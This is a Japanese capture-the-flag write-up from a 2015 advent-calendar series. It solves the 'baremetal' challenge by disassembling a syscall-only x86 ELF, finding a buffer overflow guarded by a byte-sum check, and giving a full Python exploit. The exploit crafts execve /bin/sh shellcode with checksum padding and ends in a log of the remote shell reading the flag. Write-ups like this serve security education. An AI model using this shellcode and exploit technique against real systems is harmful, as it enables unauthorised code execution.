これはCTF Advent Calendar 2015の3日目の記事です. 簡単な説明で終わってしまってるのでそのうち追記するかもです.
Okay, okay. It's not baremetal...
Running on: 188.40.147.100 1024 2b2ec84ea812c9730a244b44a2549fcb
問題ファイルはここにあります -> 2b2ec84ea812c9730a244b44a2549fcb
(ローカルで解くことを考えるので, socatなどを利用してサービスを立ててください)
さて, まずは下調べをしてみましょう.
$ file baremetal
baremetal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ checksec --file baremetal
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH baremetal
NXが有効な普通のx86 ELFみたいですねー. とりあえず逆アセンブルしてみましょう. ボクはobjdumpを使ってるのでそれを示しますが, IDAでもndisasmでもご自由にです.
baremetal: file format elf32-i386
Disassembly of section .text:
08048080 <.text>:
; write(STDOUT_FILENO, "baremetal online\n", strlen("baremetal online\n"));
8048080: 68 98 91 04 08 push $0x8049198
8048085: e8 b1 00 00 00 call 0x804813b
804808a: e9 cd 00 00 00 jmp 0x804815c
804808f: 50 push %eax
8048090: 68 98 91 04 08 push $0x8049198
8048095: e8 a1 00 00 00 call 0x804813b
804809a: e9 aa 00 00 00 jmp 0x8048149
; bss_8049204にこのプログラムでのsemantics的にretとなるような命令を入れる
804809f: 8d 05 04 92 04 08 lea 0x8049204,%eax
80480a5: c7 00 47 47 ff e7 movl $0xe7ff4747,(%eax) ; inc edi ; inc edi ; jmp *edi ;
; read(STDIN_FILENO, bss_80491c8, 0x3d); // VULN: BOF
80480ab: 6a 3d push $0x3d
80480ad: 68 c8 91 04 08 push $0x80491c8
80480b2: e8 84 00 00 00 call 0x804813b
80480b7: e9 b3 00 00 00 jmp 0x804816f
; 入力のサイズが0x20より大きくなければにゃーん
80480bc: 68 c8 91 04 08 push $0x80491c8
80480c1: e8 75 00 00 00 call 0x804813b
80480c6: e9 91 00 00 00 jmp 0x804815c
80480cb: 83 f8 20 cmp $0x20,%eax
80480ce: 7e 46 jle 0x8048116 ; にゃーん
80480d0: 68 c8 91 04 08 push $0x80491c8
80480d5: e8 61 00 00 00 call 0x804813b
80480da: e9 a0 00 00 00 jmp 0x804817f
; 読み込まれたバイト列の総和が0x1ee7(L33t)でない場合はにゃーん
80480df: 81 fb e7 1e 00 00 cmp $0x1ee7,%ebx
80480e5: 75 2f jne 0x8048116 ; にゃーん
; 最初の4byteが0でなければbss_8049204へjmp
80480e7: 8d 0d 04 92 04 08 lea 0x8049204,%ecx
80480ed: 0f b6 19 movzbl (%ecx),%ebx
80480f0: 85 db test %ebx,%ebx
80480f2: 74 07 je 0x80480fb
80480f4: e8 42 00 00 00 call 0x804813b
80480f9: ff e1 jmp *%ecx
80480fb: 68 aa 91 04 08 push $0x80491aa
8048100: e8 36 00 00 00 call 0x804813b
8048105: eb 55 jmp 0x804815c
; write(STDOUT_FILENO, "Sequence OK.\n", strlen("Sequence OK.\n"));
8048107: 50 push %eax
8048108: 68 aa 91 04 08 push $0x80491aa
804810d: e8 29 00 00 00 call 0x804813b
8048112: eb 35 jmp 0x8048149
8048114: eb 19 jmp 0x804812f ;
; write(STDOUT_FILENO, "Bad Sequence\n", strlen("Bad Sequence\n"));
8048116: 68 b7 91 04 08 push $0x80491b7
804811b: e8 1b 00 00 00 call 0x804813b
8048120: eb 3a jmp 0x804815c
8048122: 50 push %eax
8048123: 68 b7 91 04 08 push $0x80491b7
8048128: e8 0e 00 00 00 call 0x804813b
804812d: eb 1a jmp 0x8048149
804812f: b8 01 00 00 00 mov $0x1,%eax
8048134: bb 00 00 00 00 mov $0x0,%ebx
8048139: cd 80 int $0x80
; ediにreturn addressを入れて戻る
804813b: 5f pop %edi
804813c: ff e7 jmp *%edi
; '\0'に出会うまでポインタを進める(jmpは'\0'が並ぶので自ずと次の命令になる)
804813e: 8b 0f mov (%edi),%ecx
8048140: 84 c9 test %cl,%cl
8048142: 75 03 jne 0x8048147
8048144: 47 inc %edi
8048145: eb f7 jmp 0x804813e
8048147: ff e7 jmp *%edi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; 関数群
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; write
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
8048149: b8 04 00 00 00 mov $0x4,%eax
804814e: bb 01 00 00 00 mov $0x1,%ebx
8048153: 59 pop %ecx
8048154: 5a pop %edx
8048155: cd 80 int $0x80
8048157: 83 c7 02 add $0x2,%edi
804815a: eb e2 jmp 0x804813e
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; strlen, '\0'のチェックがある
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
804815c: 31 c0 xor %eax,%eax
804815e: 5b pop %ebx
804815f: 0f b6 0b movzbl (%ebx),%ecx
8048162: 84 c9 test %cl,%cl
8048164: 74 04 je 0x804816a
8048166: 40 inc %eax
8048167: 43 inc %ebx
8048168: eb f5 jmp 0x804815f
804816a: 83 c7 02 add $0x2,%edi
804816d: eb cf jmp 0x804813e
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; read
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
804816f: b8 03 00 00 00 mov $0x3,%eax
8048174: 31 db xor %ebx,%ebx
8048176: 59 pop %ecx
8048177: 5a pop %edx
8048178: cd 80 int $0x80
804817a: 83 c7 02 add $0x2,%edi
804817d: eb bf jmp 0x804813e
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; sum, '\0'のチェックがある
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
804817f: 58 pop %eax
8048180: 31 db xor %ebx,%ebx
8048182: 31 c9 xor %ecx,%ecx
8048184: 8d 14 08 lea (%eax,%ecx,1),%edx
8048187: 0f b6 12 movzbl (%edx),%edx
804818a: 84 d2 test %dl,%dl
804818c: 74 05 je 0x8048193
804818e: 01 d3 add %edx,%ebx
8048190: 41 inc %ecx
8048191: eb f1 jmp 0x8048184
8048193: 83 c7 02 add $0x2,%edi
8048196: eb a6 jmp 0x804813e
どうやら, このプログラムにはmainが存在しないらしいですね. また, libcも利用しておらずsystem callだけで完結しているみたいです.
題名のbaremetalというのはこれを意図してのものでしょう. 「Linuxの機能を使ってるんだからbaremetalじゃないじゃん」は言っちゃダメです.
特筆すべき点としては:
- 入力でoverflowが起きる.
- 入力されたバイト列について以下のチェックが行われる.
- チェック0: バイト列が0x20 byte以上か?
- ただし, overflowを起こすためには0x39 byte以上の入力が必要になるので考慮しなくてよい.
- チェック1: バイト列の総和が0x1ee7か?
- チェック2: 上書きされたbss_8049204が0でないか?
- チェック0: バイト列が0x20 byte以上か?
- bss_8049204の先頭は'inc edi ; inc edi ; jmp *edi ; 'が配置されている.
- プログラム上ではretの役目を果たす.
したがって, ここで考えるべきことは
「バイト列の総和を0x1ee7にしつつ, bss_8049204の最初4 byteを書き換えて任意のコードを実行させる」
である.
以上を踏まえると次のようなコードで実現できます. (コード, もっと綺麗に出来ると思いますがほとんど解いた時のままなので残念なカンジです. 特にpadの計算のあたりとか……)
#!/usr/bin/env python2
import hashlib
import socket
import string
import struct
import subprocess
import telnetlib
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def connect(rhp=("localhost", 1024)):
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
print "[+] 4ll y0U n33D 15 5h3ll!!"
t.interact()
def p(x, t="<I"):
return struct.pack(t, x)
def u(x, t="<I"):
return struct.unpack(t, x)[0]
def unsigned(x):
return u(p(x, t="<i"), t="<I")
def gen_shellcode(source, bits=32):
source = "".join([
"BITS %d\n"%(bits),
source,
])
filename = hashlib.md5(source).hexdigest()
with open("/tmp/%s.s"%(filename), "wb") as f:
f.write(source)
subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
with open("/tmp/%s"%filename, "rb") as f:
shellcode = f.read()
return filename, shellcode
def message(message_type, message_body, value=None):
text = ""
if value:
text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value)
else:
text = "[{}] {}".format(message_type, message_body)
print text
mysum = lambda sequence: sum(map(ord, sequence))
filename, shellcode = gen_shellcode("""
; will be placed a skipped byte.
xor ecx, ecx
mul ecx
push ecx
push "//sh"
push "/bin"
mov ebx, esp
add al, 0xb
int 0x80
""")
message('-', "shellcode(%s: %dbytes): %s"%(filename, len(shellcode), repr(shellcode)))
_, reserved = gen_shellcode("xchg edi, eax")
footer = "\x47\xff\xe7"
diff = 0x1ee7 - mysum(shellcode + reserved + footer)
distance = 0x3d - len(shellcode + reserved) - 1
pad = diff // distance
assert pad < 0x100
message('+', "the pad byte: %s"%repr(chr(pad)))
payload = ''.join((
chr(0x1ee7 - mysum(''.join((
shellcode, chr(pad)*distance, reserved, footer,
)))),
shellcode,
chr(pad) * distance,
reserved,
#footer,
))
message('+', "payload(%dbytes): %s"%(len(payload), repr(payload)))
message('+', "the sum of payload", mysum(payload+footer))
assert mysum(payload+footer) == 0x1ee7
assert len(payload) == 0x3d
#rhp = ("188.40.147.100", 1024)
s, f = connect()
read_until(f)
f.write(payload)
interact(s)
ここで, text_804817fにおいてeaxにはpayloadのbase addressがあるということを利用している. ようするに,
inc edi
inc edi
jmp *edi
から,
xchg edi, eax ; eax == baseaddr
jmp *edi
としているわけである. あとは, bss_80491c8からshellcodeが来るように調整すればシェルが降ってくる.
ご確認ください.
$ ./exploit.py
[+] shellcode(dd5729fc9b810fab92a87fdbbecd080b: 21bytes): '1\xc9\xf7\xe1Qh//shh/bin\x89\xe3\x04\x0b\xcd\x80'
[-] the pad byte: '~'
[-] payload(61bytes): '\x131\xc9\xf7\xe1Qh//shh/bin\x89\xe3\x04\x0b\xcd\x80~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\x97'
[+] the sum of payload: 0x00001ee7
[+] 4ll y0U n33D 15 5h3ll!!
id
uid=1000(hhc0null) gid=1000(hhc0null) groups=1000(hhc0null)
ls
baremetal
dir
flag.txt
q
cat flag.txt
SIGINT_are_you_getting_warmed_up?
See_Ya; exit
*** Connection closed by remote host ***
明日からHITCONです. 起床チャレンジがんばります. おやすみなさい〜〜〜